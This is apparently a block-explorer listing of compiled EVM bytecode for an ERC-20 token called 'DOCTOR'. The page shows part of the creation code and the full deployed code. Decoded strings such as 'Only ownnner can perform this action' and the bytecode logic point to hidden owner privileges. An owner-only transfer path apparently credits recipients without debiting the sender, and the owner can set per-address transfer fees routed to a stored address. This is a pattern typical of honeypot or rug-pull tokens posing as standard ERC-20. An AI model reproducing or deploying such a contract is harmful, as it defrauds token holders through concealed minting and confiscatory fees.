fffffffffff16146104fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f390611c5a565b60405180910390fd5b6105066000610f44565b565b6000610515848484611008565b6105d684610521610d73565b6105d18560405180606001604052806028815260200161215a60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610587610d73565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115d89092919063ffffffff16565b610d7b565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b60006106a1610605610d73565b8461069c8560036000610616610d73565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d5d90919063ffffffff16565b610d7b565b6001905092915050565b6106b3610d73565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610740576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073790611c5a565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006107b4610d73565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890611c5a565b60405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108e6610d73565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096a90611c5a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d990611cec565b60405180910390fd5b6109eb81610f44565b50565b6109f6610d73565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7a90611c5a565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505050565b606060098054610aee90611bb7565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1a90611bb7565b8015610b675780601f10610b3c57610100808354040283529160200191610b67565b820191906000526020600020905b815481529060010190602001808311610b4a57829003601f168201915b5050505050905090565b6000610c34610b7e610d73565b84610c2f856040518060600160405280602581526020016121826025913960036000610ba8610d73565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115d89092919063ffffffff16565b610d7b565b6001905092915050565b6000610c48610cad565b73ffffffffffffffffffffffffffffffffffffffff16610c66610d73565b73ffffffffffffffffffffffffffffffffffffffff1603610c9057610c8b838361162d565b610ca3565b610ca2610c9b610d73565b8484611008565b5b6001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183610d6b9190611d3b565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de190611e03565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5090611e95565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f3791906119e0565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f2b163cbadce6fbacbf9cf9582a523d2b07c06d96a8b44102cbfe80c40a39e21160405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611077576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106e90611f27565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110dd90611fb9565b60405180910390fd5b6110f18383836117c0565b61114381600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c590919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000806000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16036112a057600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361123f57600554905061129b565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff160361129a5760065490505b5b6112f3565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1690505b600061131b606461130d84876117db90919063ffffffff16565b6117f190919063ffffffff16565b6113259190611d3b565b9150600082111561149d5760016113a68360026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d5d90919063ffffffff16565b6113b09190611fd9565b60026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161149491906119e0565b60405180910390a35b6001611508600084866114b09190612033565b6114ba9190611d3b565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d5d90919063ffffffff16565b6115129190611fd9565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600085876115b29190612033565b6115bc9190611d3b565b6040516115c991906119e0565b60405180910390a35050505050565b6000838311158290611620576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161791906118a0565b60405180910390fd5b5082840390509392505050565b611635610cad565b73ffffffffffffffffffffffffffffffffffffffff16611653610d73565b73ffffffffffffffffffffffffffffffffffffffff16146116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a0906120d9565b60405180910390fd5b6116bb6116b4610d73565b83836117c0565b61170d81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d5d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff1661176f610d73565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117b491906119e0565b60405180910390a35050565b505050565b600081836117d39190612033565b905092915050565b600081836117e99190611fd9565b905092915050565b600081836117ff9190612128565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611841578082015181840152602081019050611826565b83811115611850576000848401525b50505050565b6000601f19601f8301169050919050565b600061187282611807565b61187c8185611812565b935061188c818560208601611823565b61189581611856565b840191505092915050565b600060208201905081810360008301526118ba8184611867565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006118f2826118c7565b9050919050565b611902816118e7565b811461190d57600080fd5b50565b60008135905061191f816118f9565b92915050565b6000819050919050565b61193881611925565b811461194357600080fd5b50565b6000813590506119558161192f565b92915050565b60008060408385031215611972576119716118c2565b5b600061198085828601611910565b925050602061199185828601611946565b9150509250929050565b60008115159050919050565b6119b08161199b565b82525050565b60006020820190506119cb60008301846119a7565b92915050565b6119da81611925565b82525050565b60006020820190506119f560008301846119d1565b92915050565b600080600060608486031215611a1457611a136118c2565b5b6000611a2286828701611910565b9350506020611a3386828701611910565b9250506040611a4486828701611946565b9150509250925092565b600060ff82169050919050565b611a6481611a4e565b82525050565b6000602082019050611a7f6000830184611a5b565b92915050565b600060208284031215611a9b57611a9a6118c2565b5b6000611aa984828501611910565b91505092915050565b611abb816118e7565b82525050565b6000602082019050611ad66000830184611ab2565b92915050565b611ae581611a4e565b8114611af057600080fd5b50565b600081359050611b0281611adc565b92915050565b60008060408385031215611b1f57611b1e6118c2565b5b6000611b2d85828601611910565b9250506020611b3e85828601611af3565b9150509250929050565b60008060408385031215611b5f57611b5e6118c2565b5b6000611b6d85828601611910565b9250506020611b7e85828601611910565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611bcf57607f821691505b602082108103611be257611be1611b88565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6e6e60008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c44602283611812565b9150611c4f82611be8565b604082019050919050565b60006020820190508181036000830152611c7381611c37565b9050919050565b7f4f776e61626c653a206e6577206f776e6e6e657220697320746865207a65726f60008201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b6000611cd6602883611812565b9150611ce182611c7a565b604082019050919050565b60006020820190508181036000830152611d0581611cc9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611d4682611925565b9150611d5183611925565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611d8657611d85611d0c565b5b828201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ded602483611812565b9150611df882611d91565b604082019050919050565b60006020820190508181036000830152611e1c81611de0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e7f602283611812565b9150611e8a82611e23565b604082019050919050565b60006020820190508181036000830152611eae81611e72565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611f11602583611812565b9150611f1c82611eb5565b604082019050919050565b60006020820190508181036000830152611f4081611f04565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611fa3602383611812565b9150611fae82611f47565b604082019050919050565b60006020820190508181036000830152611fd281611f96565b9050919050565b6000611fe482611925565b9150611fef83611925565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561202857612027611d0c565b5b828202905092915050565b600061203e82611925565b915061204983611925565b92508282101561205c5761205b611d0c565b5b828203905092915050565b7f4f6e6c79206f776e6e6e65722063616e20706572666f726d207468697320616360008201527f74696f6e00000000000000000000000000000000000000000000000000000000602082015250565b60006120c3602483611812565b91506120ce82612067565b604082019050919050565b600060208201905081810360008301526120f2816120b6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061213382611925565b915061213e83611925565b92508261214e5761214d6120f9565b5b82820490509291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cb7c7b65095358419bf39a8578df02ee489460eb976b2d23ad64aeb13888e25a64736f6c634300080e0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000004c53ecdc18a600000000000000000000000000000000000000000000000000000000000000000006444f43544f5200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006444f43544f520000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c80635dd7c8ac116100a257806395d89b411161007157806395d89b41146102e1578063a457c2d7146102ff578063a9059cbb1461032f578063a9eca8921461035f578063dd62ed3e1461037d57610116565b80635dd7c8ac1461024957806370a08231146102795780637bcbae9c146102a9578063869c8dc0146102c557610116565b806323b872dd116100e957806323b872dd14610191578063313ce567146101c157806339509351146101df578063444a2a9c1461020f57806349bd5a5e1461022b57610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806321af32fe14610187575b600080fd5b6101236103ad565b60405161013091906118a0565b60405180910390f35b610153600480360381019061014e919061195b565b61043f565b60405161016091906119b6565b60405180910390f35b61017161045d565b60405161017e91906119e0565b60405180910390f35b61018f610467565b005b6101ab60048036038101906101a691906119fb565b610508565b6040516101b891906119b6565b60405180910390f35b6101c96105e1565b6040516101d69190611a6a565b60405180910390f35b6101f960048036038101906101f4919061195b565b6105f8565b60405161020691906119b6565b60405180910390f35b61022960048036038101906102249190611a85565b6106ab565b005b610233610784565b6040516102409190611ac1565b60405180910390f35b610263600480360381019061025e9190611a85565b6107aa565b6040516102709190611a6a565b60405180910390f35b610293600480360381019061028e9190611a85565b610895565b6040516102a091906119e0565b60405180910390f35b6102c360048036038101906102be9190611a85565b6108de565b005b6102df60048036038101906102da9190611b08565b6109ee565b005b6102e9610adf565b6040516102f691906118a0565b60405180910390f35b6103196004803603810190610314919061195b565b610b71565b60405161032691906119b6565b60405180910390f35b6103496004803603810190610344919061195b565b610c3e565b60405161035691906119b6565b60405180910390f35b610367610cad565b6040516103749190611ac1565b60405180910390f35b61039760048036038101906103929190611b48565b610cd6565b6040516103a491906119e0565b60405180910390f35b6060600880546103bc90611bb7565b80601f01602080910402602001604051908101604052809291908181526020018280546103e890611bb7565b80156104355780601f1061040a57610100808354040283529160200191610435565b820191906000526020600020905b81548152906001019060200180831161041857829003601f168201915b5050505050905090565b600061045361044c610d73565b8484610d7b565b6001905092915050565b6000600b54905090565b61046f610d73565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f390611c5a565b60405180910390fd5b6105066000610f44565b565b6000610515848484611008565b6105d684610521610d73565b6105d18560405180606001604052806028815260200161215a60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610587610d73565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115d89092919063ffffffff16565b610d7b565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b60006106a1610605610d73565b8461069c8560036000610616610d73565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d5d90919063ffffffff16565b610d7b565b6001905092915050565b6106b3610d73565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610740576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073790611c5a565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006107b4610d73565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890611c5a565b60405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108e6610d73565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096a90611c5a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d990611cec565b60405180910390fd5b6109eb81610f44565b50565b6109f6610d73565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7a90611c5a565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505050565b606060098054610aee90611bb7565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1a90611bb7565b8015610b675780601f10610b3c57610100808354040283529160200191610b67565b820191906000526020600020905b815481529060010190602001808311610b4a57829003601f168201915b5050505050905090565b6000610c34610b7e610d73565b84610c2f856040518060600160405280602581526020016121826025913960036000610ba8610d73565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115d89092919063ffffffff16565b610d7b565b6001905092915050565b6000610c48610cad565b73ffffffffffffffffffffffffffffffffffffffff16610c66610d73565b73ffffffffffffffffffffffffffffffffffffffff1603610c9057610c8b838361162d565b610ca3565b610ca2610c9b610d73565b8484611008565b5b6001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183610d6b9190611d3b565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de190611e03565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5090611e95565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f3791906119e0565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f2b163cbadce6fbacbf9cf9582a523d2b07c06d96a8b44102cbfe80c40a39e21160405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611077576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106e90611f27565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110dd90611fb9565b60405180910390fd5b6110f18383836117c0565b61114381600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c590919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000806000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16036112a057600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361123f57600554905061129b565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff160361129a5760065490505b5b6112f3565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1690505b600061131b606461130d84876117db90919063ffffffff16565b6117f190919063ffffffff16565b6113259190611d3b565b9150600082111561149d5760016113a68360026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d5d90919063ffffffff16565b6113b09190611fd9565b60026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161149491906119e0565b60405180910390a35b6001611508600084866114b09190612033565b6114ba9190611d3b565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d5d90919063ffffffff16565b6115129190611fd9565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600085876115b29190612033565b6115bc9190611d3b565b6040516115c991906119e0565b60405180910390a35050505050565b6000838311158290611620576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161791906118a0565b60405180910390fd5b5082840390509392505050565b611635610cad565b73ffffffffffffffffffffffffffffffffffffffff16611653610d73565b73ffffffffffffffffffffffffffffffffffffffff16146116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a0906120d9565b60405180910390fd5b6116bb6116b4610d73565b83836117c0565b61170d81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d5d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff1661176f610d73565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117b491906119e0565b60405180910390a35050565b505050565b600081836117d39190612033565b905092915050565b600081836117e99190611fd9565b905092915050565b600081836117ff9190612128565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611841578082015181840152602081019050611826565b83811115611850576000848401525b50505050565b6000601f19601f8301169050919050565b600061187282611807565b61187c8185611812565b935061188c818560208601611823565b61189581611856565b840191505092915050565b600060208201905081810360008301526118ba8184611867565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006118f2826118c7565b9050919050565b611902816118e7565b811461190d57600080fd5b50565b60008135905061191f816118f9565b92915050565b6000819050919050565b61193881611925565b811461194357600080fd5b50565b6000813590506119558161192f565b92915050565b60008060408385031215611972576119716118c2565b5b600061198085828601611910565b925050602061199185828601611946565b9150509250929050565b60008115159050919050565b6119b08161199b565b82525050565b60006020820190506119cb60008301846119a7565b92915050565b6119da81611925565b82525050565b60006020820190506119f560008301846119d1565b92915050565b600080600060608486031215611a1457611a136118c2565b5b6000611a2286828701611910565b9350506020611a3386828701611910565b9250506040611a4486828701611946565b9150509250925092565b600060ff82169050919050565b611a6481611a4e565b82525050565b6000602082019050611a7f6000830184611a5b565b92915050565b600060208284031215611a9b57611a9a6118c2565b5b6000611aa984828501611910565b91505092915050565b611abb816118e7565b82525050565b6000602082019050611ad66000830184611ab2565b92915050565b611ae581611a4e565b8114611af057600080fd5b50565b600081359050611b0281611adc565b92915050565b60008060408385031215611b1f57611b1e6118c2565b5b6000611b2d85828601611910565b9250506020611b3e85828601611af3565b9150509250929050565b60008060408385031215611b5f57611b5e6118c2565b5b6000611b6d85828601611910565b9250506020611b7e85828601611910565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611bcf57607f821691505b602082108103611be257611be1611b88565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6e6e60008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c44602283611812565b9150611c4f82611be8565b604082019050919050565b60006020820190508181036000830152611c7381611c37565b9050919050565b7f4f776e61626c653a206e6577206f776e6e6e657220697320746865207a65726f60008201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b6000611cd6602883611812565b9150611ce182611c7a565b604082019050919050565b60006020820190508181036000830152611d0581611cc9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611d4682611925565b9150611d5183611925565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611d8657611d85611d0c565b5b828201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ded602483611812565b9150611df882611d91565b604082019050919050565b60006020820190508181036000830152611e1c81611de0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e7f602283611812565b9150611e8a82611e23565b604082019050919050565b60006020820190508181036000830152611eae81611e72565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611f11602583611812565b9150611f1c82611eb5565b604082019050919050565b60006020820190508181036000830152611f4081611f04565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611fa3602383611812565b9150611fae82611f47565b604082019050919050565b60006020820190508181036000830152611fd281611f96565b9050919050565b6000611fe482611925565b9150611fef83611925565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561202857612027611d0c565b5b828202905092915050565b600061203e82611925565b915061204983611925565b92508282101561205c5761205b611d0c565b5b828203905092915050565b7f4f6e6c79206f776e6e6e65722063616e20706572666f726d207468697320616360008201527f74696f6e00000000000000000000000000000000000000000000000000000000602082015250565b60006120c3602483611812565b91506120ce82612067565b604082019050919050565b600060208201905081810360008301526120f2816120b6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061213382611925565b915061213e83611925565b92508261214e5761214d6120f9565b5b82820490509291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cb7c7b65095358419bf39a8578df02ee489460eb976b2d23ad64aeb13888e25a64736f6c634300080e0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

